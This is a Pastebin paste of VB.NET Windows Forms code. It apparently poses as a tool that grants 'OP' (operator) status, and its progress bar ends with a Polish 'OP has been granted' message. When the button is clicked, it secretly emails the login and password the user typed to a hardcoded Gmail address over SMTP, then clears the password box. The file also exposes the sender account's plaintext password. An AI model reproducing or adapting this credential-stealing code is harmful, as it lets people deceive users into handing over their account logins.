Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System
- Imports System.Threading
- Imports System.Net.Mail
- Public Class Form1
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Timer1.Start()
- Dim MyMailMessage As New MailMessage()
- Try
- MyMailMessage.From = New MailAddress("araxhaker@gmail.com")
- MyMailMessage.To.Add("araxhaker@gmail.com")
- MyMailMessage.Subject = ("Nowe hasło")
- MyMailMessage.Body = "Login: " + TextBox1.Text & vbCrLf + "Hasło: " + TextBox2.Text
- Dim SMTP As New SmtpClient("smtp.gmail.com")
- SMTP.Port = 587
- SMTP.EnableSsl = True
- SMTP.Credentials = New System.Net.NetworkCredential("araxhaker@gmail.com", "kurwa123@")
- SMTP.Send(MyMailMessage)
- TextBox2.Text = ""
- Catch ex As Exception
- End Try
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- ProgressBar1.Increment(1)
- If ProgressBar1.Value = 100 Then
- Label7.Text = "OP ZOSTAŁ NADANY!"
- End If
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement